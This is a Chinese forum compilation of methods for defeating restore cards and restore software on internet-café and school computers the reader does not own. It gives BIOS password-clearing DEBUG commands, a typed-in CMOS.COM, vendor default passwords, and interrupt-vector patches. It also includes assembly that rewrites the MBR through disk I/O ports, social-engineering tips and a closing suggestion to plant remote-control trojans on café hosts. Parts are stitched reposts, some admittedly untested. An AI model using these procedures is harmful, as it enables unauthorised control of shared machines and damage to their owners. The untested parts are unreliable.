破解三茗还原卡
还原卡及还原精灵的破解还原卡及还原精灵的破解 学生:今天上机我发现了一个重大
问题:在网吧的计算机上保存不住任何文件!发现这个情况也是偶然的:明明在计算机
上安装了很多软件,突然间死机了,重启之后刚才安装的软件一个也找不到了,系统就
象被网管重新安装了一遍那么干净。我决心找出其中的原因,不然的话,我每次上机都
要为自己安装一些习惯使用的软件如Netants(网络蚂蚁),这也太烦人了吧。哈哈,
还真叫我发现其中的奥妙,因为计算机操作系统容易受错误操作、非法关机、病毒入
侵、恶意破坏等问题的影响,所以网管在每台计算机上安装了叫做硬盘还原卡(也叫做
数据保护卡)的硬件设备,其界面为 如图1-13-1 。硬盘还原卡被制作成可以插入计算
机扩展插槽的外置插卡形状 如图1-13-2 ,下面的这一种是三合一的卡(网卡+保护卡+
数据克隆)如图1-13-3 ,只要将此卡插入计算机,并指定其保护的磁盘区域,以后即
使用户任意重新分区,格式化、修改配置、删除文件、感染病毒等等,只要重新启动计
算机,一切就象什么也没有发生过,硬盘自动恢复成了系统的初始状态。正因为还原卡
有如此神奇功效,网吧、学校机房等场所都纷纷安装了此类还原卡,认为从此天下太平
了。其实可害“哭”了象我们这样的网吧上网族,比如正在运行着程序突然当机了,没
办法,RESET重启吧,原先辛辛苦苦下载的数据一下子就没了。损失惨重、教训惨痛啊
!并且在还原卡的保护下,我们想修改计算机的配置信息都改不了。那还提什么系统入
侵呀,破解还原卡的工作是势在必行了。不知道大家注意过没有,网吧的计算机因为经
常坏需要维修,所以机箱盖板的螺丝基本是不上的,壳子就松松垮垮的套在机箱上。因
为还原卡是块插卡,又没有螺丝上着,赤手空拳的就可以对付它了。我就瞅机会把还原
卡拽下来了。如图1-13-4 瞧这只黑手,在高速的拔卡过程中被看到了,哈哈!注意:
千万不要在机器通电的时候这么干,要不然主板冒烟可不是闹着玩的。哈哈,卡子移出
了看你还能有什么本事!这样做有些品牌的还原卡会在引导的时候提示“移出还原卡”
,回车确定以后还原卡功能就被彻底从系统中清除了。还有些还原卡被拔下来后,根本
没有什么提示,还原功能就失效了。这样等我们安装完了软件、修改够了系统再把它插
上,呵呵,还原功能就又回来了,当然了计算机在没装还原卡时你所有的操作都会保留
下来的。 网管:千万不能为了自己维修方便而不上机箱的螺丝,我的网吧机箱螺丝上
地紧紧的都被有些来上网的家伙拔掉几块CPU、内存和还原卡了。后来没办法,只好做
个箱子把机箱锁起来。 学生:最近,网吧机箱不光上了螺丝,而且还贴了封条,加了
锁,装了箱。我的“物理”破解法只有告一段落了。其实很多种类的还原卡,跟BIOS设
置存在某种关联,如果在BIOS设置界面的 “BIOS Features Setup”中存在“Boot
From LAN First”项目,就要求将其设置为“Enable”(将引导顺序设为网络最优先)
,如图1-13-5 假设我们将这个选项设置为“Disable”,那么这块还原卡将不再工作。
这是真的,我就在几个网吧不同牌子的还原卡上测试成功过。如果还原卡的版本比较老
,更是绝对没有问题的。那么这里禁止还原卡就等同于破解BIOS密码了。 破解BIOS密
码我们可以使用操作系统自带的DEBUG程序来清除密码。因为BIOS设置程序存在厂商、
版本的不同,所以就有如下表所示的多种破解方法: 方法一方法二方法三方法四方法
五 -O 70 11-O 70 23-O 70 10-O 70 10-O 70 16 -O 71 FF-O 71 34-O 71 FF-O 71
00-O 71 16 -Q-Q-Q-Q-Q 看一下具体的破解步骤吧:在DOS下输入“DEBUG”并回车,
DOS提示符显示为“--”表示现在进入了DEBUG状态,然后依次输入“O 70 10”回车,
“O 71 FF”回车,最后输入“Q”并再次回车。如图1-13-6 重启计算机以后,BIOS提
示出错,按BIOS的热键(一般是“DEL”按键,注意屏幕上一般有提示)进入BIOS设置界
面的时候并不要求我们输入密码,说明我们已经破解成功了。上述方法的含义就是向
BIOS中写入代码,迫使BIOS自身校验出错,这样再重启计算机时,会要求进入BIOS重新
配置参数,而此过程是不需要密码的。 网管:看来删除DEBUG程序是势在必行了。 学
生:如果DEBUG程序被删除怎么办呢?我们先想办法进入DOS环境(双击运行“
c:/command.com”文件就可以进入DOS状态)。在DOS状态下,没有DEBUG程序不要紧,
还可以自己现场制作个破解BIOS的.com文件,实现对BIOS密码的清除工作。这听起来是
不是很神奇呢? 在DOS环境下输入:“COPY CON CMOS.COM”(引号不输入,以下同)
后回车,如图1-13-7 系统会自动另起一行,我们继续输入以下内容:“ALT+176
ALT+17 ALT+230 p ALT+176 ALT+20 ALT+230 q ALT+205 <空格>”,然后按键盘上的“
F6”键,再按回车键保存。如图1-13-8 【注意:输入以上数据时候先按键盘的ALT按键
,再按下数字小键盘区的数字按键,这里不能使用主键盘区的数字按键,输完一段数字
松开ALT按键,然后再按下ALT按键输入下一段】最后运行得到的cmos.com文件 如图
1-13-9 ,重新启动计算机BIOS提示出错,就可以不需要密码进入BIOS设置界面啦。 不
过有些还原卡在BIOS修改以后,会提示“发现CMOS有修改,是否存储CMOS资料?”这样
的信息,如图1-13-10 那么这块还原卡就不能通过这种方式进行破解了。 看了一些还
原卡说明书,也找了一些还原卡资料,我还知道了还原卡一般是有初始化的管理员口令
的,部分还原卡的默认密码如下:小哨兵:manager,远志:12345678,三茗:
12345678。如果网管没有另外设定密码的话,我们就可以输入这些默认密码来控制还原
卡了。如图1-13-11 其实很多还原卡还有我们所不知道的超级管理员密码或者是管理员
密码清除程序。这个密码或者程序从生产还原卡的公司宣传材料或者网站上是找不到
的。你要是对某款还原卡发生了兴趣,不妨冒充还原卡的最终用户向此还原卡代理商索
取破解办法,相信代理商会有可靠的办法让你满意的。(这又叫做社会工程学入侵)我
在使用U盘(USB闪存盘)如图1-13-12 的时候发现了另外一个绕过还原卡保护功能的方
法。当U盘接在计算机上时,被识别成“移动硬盘”,如图1-13-13 还原卡是不保护这
上面的数据的,我们可以任意的修改U盘中的数据。【小知识:使用USB接口的活动硬盘
如图1-13-14 也可以突破还原卡保护,我们把QQ聊天记录存放在活动硬盘上,以后到哪
家网吧都不会忘记和MM说过的每一句话了;我们把收集的黑客工具拷贝到活动硬盘,网
吧的计算机可能没有软驱、光驱,但主板一般是有USB接口的,这些工具就可以照旧使
用!】 还原卡提供保护功能的是卡上面的那块硬件芯片中保存的小程序,它和硬盘的
主引导记录MBR协同工作,将系统中断Int13H 【小知识:进制:H代表16进制,以十六
为基数,有十六个符号0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F表示,逢十
六进一。Q代表8进制,以八为基数,有八个符号0,1,2,3,4,5,6,7表示,逢八进
一。B以二为基数,有两个符号0,1表示,逢二进一。中断:程序运行过程中出现了某
种紧急事件,必须中指现行程序而去转去执行一个处理该事件的程序,处理完成该事件
后再恢复并继续运行原有的程序,这个过程称作中断。中断向量表:中断服务程序的起
始地址称为中断入口,将中断程序的入口地址放在一起就组成中断向量表。】进行底层
拦截,这样WIN98引导后使用的就是由还原卡修改过的中断了。想破解还原卡的保护功
能,只要恢复Int13H的BIOS中断向量就可以了,简单过程就是:找到Int13H的原始BIOS
中断向量值,填入中断向量表 【补充知识:DEBUG命令简单解释:】 命令用途格式 汇
编汇编语句A[address] 显示显示内存D[address] 修改修改内存E address [lise] 执
行用任选断点执行G[=address] [address…] 传送传送内存块内容M range address 终
止退出DEBUGQ 输出发送输出的字节O portaddress byte 寄存器显示寄存器/标示R
[register name] 检索检索字符S rang list 跟踪执行并显示T [=address][value] 在
DOS下运行DEBUG程序: Debug -a 100 -xor ax,ax -int 13 -int3 然后输入T回车,并
不断的重复,直到显示的地址如F000:xxxx。记下这个地址,按Q键回车退出。这里假设
出现的第一个F000:1234就是要使用的。实际可能是在第2、3、4个才出现,通常认为就
是第一个,在(0:13H*4)=0:4cH处填入这个地址,运行Debug,输入如下命令 -e
0:4c34 12 00 f0 -q 如果在跟踪过程中发现了如下代码:CMP DL,80(判断是否操作
硬盘),可以修改成不存在的硬盘号如:CMP DL,FF,然后试试硬盘可写吗?可写的话
就OK了。 现在有些较新的还原卡经过上述操作,还是不能写盘,出现操作死机的情
况。一般是因为Int8H、Int1CH、Int15H等中断对Int13H进行了向量保护。想办法将这
些中断修改为原始中断入口地址就可以了。如果想获得还原卡管理员密码的话,因为有
些还原卡的密码是存放在硬盘上某个空闲磁盘空间中的,与还原卡无关,我考虑了以下
几个步骤: 1.恢复系统中断向量并读取磁盘的MBR记录信息 2.分析MBR,这里建议结合
磁盘在安装还原卡前后各扇区数据变化情况 3.找到密码存放扇区并破解其加密算法不
过我感觉这实在是太深奥了,不是我这种笨脑瓜想明白的,就此作罢了。 网管:要注
意还原卡的安全问题,使用了还原卡固然可以减轻计算机系统维护的工作量,但是使用
还原卡的计算机并不是安全得像进了保险箱,针对还原卡的保护和破解,就像矛与盾之
争一样。一方面不断有新的破解技术出现,另一方面也不断的有抵御破解手段的新的还
原卡生产出来。想更好的保护好计算机,那就只有不断的更新手中还原卡的版本,同时
,禁止用户进入DOS模式或者干脆删除DEBUG命令也是一个折中的办法。 学生: 还原精
灵的破解 我今天到另外的一家网吧上网,发现他们的硬盘也是受“还原卡”保护的,
重启计算机一切修改都还原了,破解它这还不好办!我的眼睛就不住地往桌下没扣盖的
主机上打量。却看见这些计算机并没有安装什么插卡,真让我大吃一惊,莫非是用什么
软保护措施?还真让我猜中了。看 就是这个叫“还原精灵”的软件在捣鬼。我想删除
“还原精灵”,在“添加删除程序”中找不到这款软件,在硬盘上也查找不到这款软件
的安装文件。右击任务栏右下角的图标,却被要求输入操作密码。 看来想办法破解此
软件的密码,是控制这台计算机的关键。如果仅仅是因为安装了一个新程序,提示要求
重启计算机,那就不要点击“确定”(,选择“以后重启”。在“开始>关闭系统”选
择“重新启动计算机” 注意此时一定要按住键盘shift按键不放,这样计算机将跳过初
始化等操作,直接重新加载系统程序,从而绕过了还原精灵的保护。【以下为cy07添加
】如果想长期保存自己的文件,就必须卸掉还原精灵或者取得还原精灵的管理员密码,
要卸掉还原精灵其实不难,网上有专门清除还原精灵的程序, 可以到它的老家
http://cy07.126.com下载,运行以后直接清除,就可以清除还原精灵了,不过需要注
意,由于还原精灵是在硬盘最重要的主引导记录MBR( 来自网络!)
关于破解还原卡(通用) 请大家先看看后面的(可以穿透还原卡和还原软件的代码)
方法一:
开 机时(也就是在你曾经进入cmos的时刻),同时按住ctrl+home,这样你就进入了还原卡的密码输入窗口,只要输入正确的密码即可获得admin, 以后随你怎样设置. 关于是密码的问题:一般还原卡都有默认密码的,默认密码怎么找,很简单,到网上搜索QQ:9750406 关键词"还原卡"就行了,找到你用的那个牌子的还原卡,进入站点,在一个比较偏僻的角落 一般可以找到默认密码的.
而一般机房管理员是不会修改其默认密码的,比如俺学校的
台湾远志牌的还原卡的默认密码是12345678,
小哨兵的是manager, 机房管理员一个也没改,好爽!!!!!!!!!!
不过我可没破坏任何东东,一旦惹怒了俺,嘿嘿....俺也不会破坏的,
恶意破坏计算机就是对自己的不尊重!!!!
如果管理员把密码改了呢?那就拿出宝刀---
方法二:
此法实施过程看起来挺麻烦,不过熟悉了*作起来超不过15秒的-
高手sinister曰:
其实所谓硬盘保护卡就是在ROM中写了一段HOOK INT 13的程序,屏蔽了
一些功能调用如AH=3,5等,在中断向量表中INT 13的SEG,OFFSET
描述为[13h*4+2],[13h*4],将此中的程序先保存后,再替换为自己的代码,
当你AH=2的时,它便会call原始INT 13地址来完成*作.
只要找到原始INT 13入口便可以为所欲为.
不知看了这段感觉如何?慢慢消化吧.
主要矛盾:关键是要找到原始的int 13入口.
测试*作系统:win98
测试对象: 台湾远志还原卡
测试地点: 学校机房
测试目的: 控制还原卡,但不破坏.
注:本篇文章不对其实施过程中出现的任何不可预料的情况负责!!!!!
具体过程如下:
开机过程按住F8键,进入纯dos环境, 注";"后为注释.
出现提示符c:,
键入c:/debug,
- a100
- xor ax,ax
- int 13
- int3
; 寻找原始的int 13入口.
然后输入t回车,不断的重复,直到显示的地址形如 F000:xxxx
,后面的指令为:mov dl,80 (练练眼力-。按q退出.
记下这一地址, 在(0:13H*4)=0:4cH 处填入这个地址。
例如俺的得到的地址是F000:9A95
再次运行debug ,键入:
-e 0:4c 95 9A 00 F0 ;e的作用将数据表"95 9A 00 f0",写入地址0:4c开始的字节中.
-q
注: 填的时候要仔细,填错的话会死机。ok,破解完成.
这时在提示符c:/键入
c:/win
进入win98系统即可,那么这次你在win98系统中的一切*作,随着下一次
的启动都会被还原卡存储起来。
不过下一次进入系统的的时候,你还是需要重写地址0:4c,才可以让还原卡存储你的东东。
这时只需要在纯dos下进入debug,键入
-e 0:4c 95 9A 00 F0
-q 即可。
哈哈。。。这样也挺好,只有你才是这台computer的真正的主人 -。
别人还是受还原卡的限制的except--you 。
下面是找Int13入口的方法,我常用的几种:
1。手工运行Debug,最好在纯DOS下:
Debug
- a100
- xor ax,ax 注意: 前面要加上功能号以选择Int13H内部的流程,避免进入其他不经过原始入口的流程
- int 13
- int3
然后输入t回车,不断的重复,直到显示的地址形如 F000:xxxx。记下这一地址,按q 回车退出。
这里假设了第一个F000:xxxx就是要找的入口,实际上可以在第2,3,4,。。。。出现,要自己判断一下,通常认为就是第一个。在(0:13H*4)=0:4cH 处填入这个地址。
例如得到的地址是F000:1234
运行debug
-e 0:4c 34 12 00 F0 =======>把得到的原始入口填入Int13H的中断向量表
-q
注意:
填的时候要仔细,填错的话会死机。有些经过针对性处理的机器,要进一步鉴别。
如在Int13内部调用Int1ch.
如果在trace过程中发现如下代码 CMP DL,80[意思是判断是否针对硬盘操作] ,可以尝试修改成不存在的硬盘号,比如改成CMP DL,FF。其他的都不要修改.
试试 硬盘可写吗?如果可以的话就万事大吉了。另外,不能在Windows的虚拟DOS窗口中使用这种方法。
如果在Windows的虚拟DOS窗口运行的话,请使用下一种方法。
2。Debug
- s F000:0 ffff 80 fa 80 强行搜索BIOS区,通过比较入口代码找到原始入口点
你可能会发现有好几处。根据我的多次破解经验,通常这个地址在F000:8000以后。
试验一下: 如果U F000:xxxx地址后发现代码类似 -u F000:xxxx
PUSHF
CMP DL,80
JZ ....
.
.
.
[有些不是这样,要注意鉴别。]
的话,填入向量表试试。通常破解就完成了。
我曾经发现经过以上中断还原后,仍不能写盘,或者死机的情况。经跟踪发现Int8H,Int 1CH,Int15H等向量对
Int13H进行了向量保护。解决办法:把Int8H,Int1cH,Int15H 也改会原始中断点(也是BIOS中断)。尝试写盘成功
如果想获得保护卡密码的话,可以参考以下步骤:
1。找到Int13h原始点设回中断向量表。
2。读出MBR
3,分析读出的MBR,找到密码算区和加密算法
4,推算出密码
可以穿透还原卡和还原软件的代码
一、虚拟还原技术的原理
本文所说的是一种普遍运用于还原卡或还原软件上的技术,当然,不同品牌不同厂商生产的可能不尽相同,但原理却是相通的。
首 先,还原卡和还原软件会抢先夺取引导权,将原来的0头0道1扇保存在一个其他的扇区,(具体备份到那个扇区是不一定的),将自己的代码写入0头0道1扇, 从而能在操作系统之前得到执行权,这一点类似于一个引导型病毒;然后,我们来看看虚拟还原技术在操作系统之前都做了些什么:
1.将中断向量表中的INT13H的入口地址保存;
2. 把自己用于代替INT13H的代码写入内存,并记住入口地址,当然这种“写入内存”并不是普通的“写”,而是一种我们称为“常驻”的方法,有关“常驻程 序”的实现方法我们不另外花篇幅来描述了,如果你还不了解的话请自己找有关资料,也可以到www.hackart.org或www.lsky.net找风 般的男人交流;
3.将中断向量表中INT13H的入口地址改为这段常驻程序的入口地址。补充一点,虚拟还原程序在修改INT13H的入口后往 往都会修改一些其他中断入口,当然也是通过常驻程序来实现的,这些中断用来实现对中断向量表中INT13H入口地址监控,一旦发现被修改,就马上把它改 回,这样做同样是用来防止被有心人破解。
好了,你已经看出来了,这段用来替代BIOS提供的INT13H的代码才是虚拟还原技术的关键,那么这段代码到底实现了些什么了,以下是本人对此拙浅的理解:
1.拦截所有INT13H中对硬盘0头0道1扇的操作
这些包括读写操作,把所有的对0头0道1扇的操作改为对虚拟还原程序备份的那个扇区的操作,这样做的目的是保护虚拟还原代码不被破坏,并且不能被有心人读出进行破解,即使你用扇区编辑工具查看主引导区,实际上你看到的是这个备份的主引导区。
2.拦截所有INT13H中的写硬盘操作
这里包括对8G以下的硬盘的普通通过磁头、磁道、扇区定位的INT13H中的写操作,和扩展INT13H中基于扇区地址方式的对大硬盘的写操作,甚至包括扩展INT13H中对一些非IDE接口的硬盘的写操作。
至 于拦截后做什么是虚拟还原技术实现的关键,在早期的DOS系统当中完全可以“什么都不做”,也就是说当用户写硬盘时实际上是什么都没做,但现在的操作系统 都要对硬盘进行一些必要的写操作,比如对虚拟内存的写操作。众所周知,虚拟内存实际上就是硬盘,而如果禁止操作系统写硬盘的话显然后果是不堪设想的。所 以,大多数虚拟还原厂商用的方法是占用一些硬盘空间,把硬盘所进行的写操作做一个记录,等系统重新启动后还原这一记录,但是怎样科学记录硬盘的写操作,是 我一直没想通的问题,这种“科学”应该体现在时间上和硬盘空间的占用量上的,也就是说怎么样用最少的时间和最少的硬盘空间来记录硬盘的写操作是实现关键, 如果有这方面想法的朋友欢迎和我交流;
3.备份端口70H,71H中的内容,并把最后一次执行时端口70H,71H的内容和备份的内容做比较,不一样就提示BIOS被修改,是否还原,并通过密码验证修改BIOS是否合法。
二、PC机的中断机制
中 断提供了最基本的硬件和软件的接口,它使得程序员不必了解硬件系统的细节,只要直接调用系统提供的中断服务子程序,就可以完成相应功能,这样能使得程序设 计更为方便。其实现机制如下:当某一中断源发出中断请求时,CPU能够决定是否响应这一中断请求(当CPU在执行更为重要的工作时,可以暂不响应),如果 允许响应该中断,CPU会在现行的指令执行完后,把断点处的下一条指令地址和各寄存器的内容和标志位的状态,推入堆栈进行保护,然后转到中断源服务程序的 入口,进行中断处理,当中断处理完成后,再恢复被保留的各寄存器、标志位状态和指令指针,使CPU返回断点,继续执行下一条指令。
为了区别各个中断,CPC系统给每个中断都分配了一个中断号N,比如INT 3H是断点中断,INT 10H是显示中断,我们今天要讨论的主要是INT 13H磁盘读写中断。
要 说清楚PC机上的中断机制,用这一点篇幅是完全不够的,这里我所说的只是一个大概,如果你不清楚的话,请查阅一些资料或和我交流,我们今天重要要说的就是 以INT13H为例看看BIOS提供给我们的中断到底都是在做什么?所谓BIOS中断简单说就是你机器上的BIOS提供的中断,那么在BIOS中断的后 面,到底是些什么呢?实际上是一些对端口的输入输出操作,PC的每个端口都实现特定的功能,我们完全可以不调用BIOS提供的中断而直接用输入输出指令对 这些端口进行操作,从而可以实现象调用BIOS中断一样的功能,但是一个前提是你必须对这些端口有详细的了解。反过来说,PC的中断系统的一大好处就是能 够让程序员无须了解系统底层的硬件知识的而能够编程,从这点看,中断有点象我们平时所说的“封装”,我不知道这样说对不对,但的确中断为我们“封装”了许 多系统底层的细节。
三、硬盘读写端口的具体含义
对硬盘进行操作的常用端口是1f0h~1f7h号端口,各端口含义如下:
端口号 读还是写 具体含义
1F0H 读/写 用来传送读/写的数据(其内容是正在传输的一个字节的数据)
1F1H 读 用来读取错误码
1F2H 读/写 用来放入要读写的扇区数量
1F3H 读/写 用来放入要读写的扇区号码
1F4H 读/写 用来存放读写柱面的低8位字节
1F5H 读/写 用来存放读写柱面的高2位字节(其高6位恒为0)
1F6H 读/写 用来存放要读/写的磁盘号及磁头号
第7位 恒为1
第6位 恒为0
第5位 恒为1
第4位 为0代表第一块硬盘、为1代表第二块硬盘
第3~0位 用来存放要读/写的磁头号
1f7H 读 用来存放读操作后的状态
第7位 控制器忙碌
第6位 磁盘驱动器准备好了
第5位 写入错误
第4位 搜索完成
第3位 为1时扇区缓冲区没有准备好
第2位 是否正确读取磁盘数据
第1位 磁盘每转一周将此位设为1,
第0位 之前的命令因发生错误而结束
写 该位端口为命令端口,用来发出指定命令
为50h 格式化磁道
为20h 尝试读取扇区
为21h 无须验证扇区是否准备好而直接读扇区
为22h 尝试读取长扇区(用于早期的硬盘,每扇可能不是512字节,而是128字节到1024之间的值)
为23h 无须验证扇区是否准备好而直接读长扇区
为30h 尝试写扇区
为31h 无须验证扇区是否准备好而直接写扇区
为32h 尝试写长扇区
为33h 无须验证扇区是否准备好而直接写长扇区
注:当然看完这个表你会发现,这种读写端口的方法其实是基于磁头、柱面、扇区的硬盘读写方法,不过大于8G的硬盘的读写方法也是通过端口1F0H~1F7H来实现的^_^
四、一个通过对硬盘输入输出端口操作来读写硬盘的实例
让我们来看一个关于INT13H读写硬盘程序实例。在例子中详细说明了硬盘的读写操作所用到的端口,并且把通过INT13H读出的主引导区得到的数据和通过输入输出读主引导区得到的数据进行比较,从而证实这两种操作功能相同,程序片段如下:
mov dx,1f6h ; 要读入的磁盘号及磁头号
mov al,0a0h ;磁盘0,磁头0
out dx,al
mov dx,1f2h ;要读入的扇区数量
mov al,1 ;读一个扇区
out dx,al
mov dx,1f3h ;要读的扇区号
mov al,1 ;扇区号为1
out dx,al
mov dx,1f4h ;要读的柱面的低8位
mov al,0 ; 柱面低8位为0
out dx,al
mov dx,1f5h ; 柱面高2位
mov al,0 ; 柱面高2位为0(通过1F4H和1F5H端口我们可以确定
; 用来读的柱面号是0)
out dx,al
mov dx,1f7h ;命令端口
mov al,20h ; 尝试读取扇区
out dx,al
still_going:
in al,dx
test al,8 ;扇区缓冲是否准备好
jz still_going ;如果扇区缓冲没有准备好的话则跳转,直到准备好才向下执行。
mov cx,512/2 ;设置循环次数(512/2次)
mov di,offset buffer
mov dx,1f0h ;将要传输的一个字节的数据
rep insw ;传输数据
; ------
mov ax,201h ;以下是用INT13H读硬盘的0磁头、0柱面、1扇区
mov dx,80h
mov cx,1
mov bx,offset buffer2
int 13h
mov cx,512 ;以下部分用来比较2种方法读出的硬盘数据
mov si,offset buffer
mov di,offset buffer2
repe cmpsb
jne failure
mov ah,9
mov dx,offset readmsg
int 21h
jmp good_exit
failure:
mov ah,9
mov dx,offset failmsg
int 21h
good_exit: ;以下部分用来结束程序
mov ax,4c00h ;退出程序
int 21h
readmsg db 'The buffers match. Hard disk read using ports.$'
failmsg db 'The buffers do not match.$'
buffer db 512 dup ('V')
buffer2 db 512 dup ('L')
你 可以对照硬盘读写端口含义表,再好好看看上面的例子,你将会对硬盘读写端口有一个比较深的理解。好了,到了该把谜底揭晓的时候了,重新回到我们的主题。正 如你现在想象的,这种可以穿透还原卡或是还原软件保护的代码的确是对硬盘读写端口的输入输出操作。现在,我们已经可以从原理上理解了,还原卡拦截的是中断 操作,但却拦截不了输入输出操作,而用输入输出操作足够可以对硬盘进行写操作了,当然用输入输出操作也完全可以读到被虚拟还原程序屏蔽的关键部分,被还原 卡或是还原软件屏蔽的0头0道1扇。知道了这一原理以后,可能是仁者见仁智者见智的,如果你是一个虚拟还原技术的破解者、一个病毒制造者,或是虚拟还原技 术的设计者,往往对此的理解都是不尽相同的。
在此强调我不赞成制造病毒,但一个病毒制造者完全可以用此原理写出一个可以实现破坏装有还原卡或 还原软件的机器了,所以我要提醒虚拟还原用户的是,不要以为装有还原卡或是还原软件就掉以轻心,要知道世界上还是有病毒能够穿透虚拟还原技术的保护,达到 破坏硬盘的目的的,想象一下如果把这一原理运用到CIH病毒中,或者运用到硬盘杀手病毒中,其后果是不堪设想的。
谈谈如何用这种可以穿透虚拟还原技术的代码来破解还原软件(如还原精灵)吧。以下是我写的用来测试破解还原精灵的代码,本代码编译后的程序需要在纯DOS环境执行,在DOS下我用这段代码成功的把还原精灵给卸载了。
.286
CODE SEGMENT
ASSUME CS:CODE,DS:code,ES:code
START:
;----------------------------------------------------------
;以下代码用INT13H读主引导区
mov ax,0201h
mov dx,0080h
mov cx,0001h
mov bx,7c00h
int 13h
;---------------------------------------------------------
;以下代码用I/O端口来写主引导区
mov dx,1f6h ; 要读入的磁盘号及磁头号
mov al,0a0h ; 磁盘0,磁头0
out dx,al
mov dx,1f2h ; 要写的扇区数量
mov al,1 ; 写一个扇区
out dx,al
mov dx,1f3h ;要写的扇区号
mov al,1 ;写到1扇区
out dx,al
mov dx,1f4h ; 要写的柱面的低8位
mov al,0 ; 低8位为0
out dx,al
mov dx,1f5h ; 要写的柱面的高2位
mov al,0 ; 高2位为0
out dx,al
mov dx,1f7h ;命令端口
mov al,30h ;尝试着写扇区.
out dx,al
oogle:
in al,dx
test al,8 ;磁盘扇区缓冲是否准备好
jz oogle
mov cx,512/2 ;设置循环次数(512/2)
mov si,7c00h
mov dx,1f0h ;数据端口,用来存放要发送的数据.
rep outsw ;发送数据.
; ------------------------------------------------------------------------------
;退出程序
mov ah,4ch
int 21
CODE ENDS
END START
上面的程序非常简单,说明如下:
1、先把被还原精灵备份的原来的主引导区用INT13H读出来,这里虽然是对0头0道1扇进行读操作,但实际上是在读被还原精灵把原来的主引导区备份进去的那个扇区;
2、把读出的原来的主引导区通过输入输出操作写进真正的主引导区,换句话说就是把还原精灵给彻底删除了,此时重新启动你将发现还原精灵已经没有了。
我 写了个FORWIN98/NT/XP的卸载还原精灵等软件的程序,大家可到www.lsky.net下载,不过已经有人先我一步了,那就是网吧终结者出的 一个清MBR的程序,我试了一下,发现的确有用,我还没有仔细分析该程序,但我敢肯定其原理差不多。那个程序写得不错,不过我认为有一点需要改进,我的硬 盘的MBR程序是我自己写的,用来实现多引导操作,当我执行完该清MBR程序后,我的多引导代码就没了,我觉得此程序如果能把核心代码部分改成象我以上的 代码,在还原精灵下是把装还原精灵之前的MBR写回到主引导区,即使没装还原精灵的硬盘也只是把主引导区写回主引导区,就没有任何的危险了。
用 以上的方法要实现还原卡的破解可能是不行的,因为还原卡毕竟是硬件,它可以先于硬盘引导前执行,这样即使你写回了硬盘的主引导区,还原卡还是可以把它写回 的,但是,在破解还原卡的时候,完全可以利用文章中的原理,把还原卡写入硬盘主引导区的真正代码读出进行分析,甚至有些还原卡的密码就在这个扇区中。
对于还原卡和还原软件的制造者来说,如何让您制造的还原卡或还原软件更安全,可能是一个需要思考的问题。真心希望以后的还原卡或是还原软件在拦截INT13H的同时也能拦截硬盘I/O操作。
在 我安装还原精灵的时候看到一个选项是“防止硬盘I/O破坏”,开始还以为还原精灵在这方面做的不错,想到了从拦截I/O操作来保护硬盘。可惜我错了,即使 选择这一个选项,也同样可以通过输入输出端口操作来写硬盘。对于掌握了这种技术的人来说,这种还原卡或是还原软件可以说是形同虚设。因此我认为,还原卡和 还原软件不但要实现拦截所有硬盘写操作、拦截对主引导区的读写操作,更应该拦截对硬盘的读写端口的操作,只有这样的虚拟还原技术才可能使基于硬盘的读写端 口操作所对硬盘的破坏或是对虚拟还原技术的破解变成不可能。
告诉大家一个方法:
利用文本文件输入下面的命令
start h:/wz
关闭保存
慢慢双击该文本
更名为。bat文件
双击运行
大家看到了什么,
剩下我就不多说了
此尚未测试!来自古典辣M°http://lams.blogchina.com
注 意此法主要通过汇编等高级知识,本人此地没有还原卡所以也未测试,此贴被转了N久!其中破解还原卡我涉及少,有些难以回复!至于有的朋友说使用 WINHEX破解网吧密码的方法,我不知道有多少的朋友成功破解了,因为此涉及到汇编高级程序,没有基础是不行的,光靠前人弄出来的经验,只要本地网管更 改一下(或管理软件不同,就难以实现了,对于不懂真正技术的人来说是那样的)破解万象密码使用高手编译出的软件就可以直接得到,我曾经以为通过注册表可以 得到密码(其实注册表的密码是MD5加密的!)其实在有的情况下结束网管软件的客户端同样可以免费上网(此前我写过一篇文章 www.yiyoo.net/bbs),
破解还原卡的方法在网上公布了就会出现反破解的文章,只要大家多注意反破解的思路就可以找到新的破解!
Debug破解还原卡方法!建议网吧把DEBUG删除!大家看看这个!
http://qooh.net/web/Article/wz2/wz21/200411/610.html
现在说说我以前的一些破解网吧的方法,你可以使用灰鸽子(神气儿)等一些远程控制软件打开网吧主机找到还原卡(还原精灵、万象等网吧管理软件的)卸载程序,你可以把这个程序拿出来再运用到N个网吧,你要破那里就可以破那里的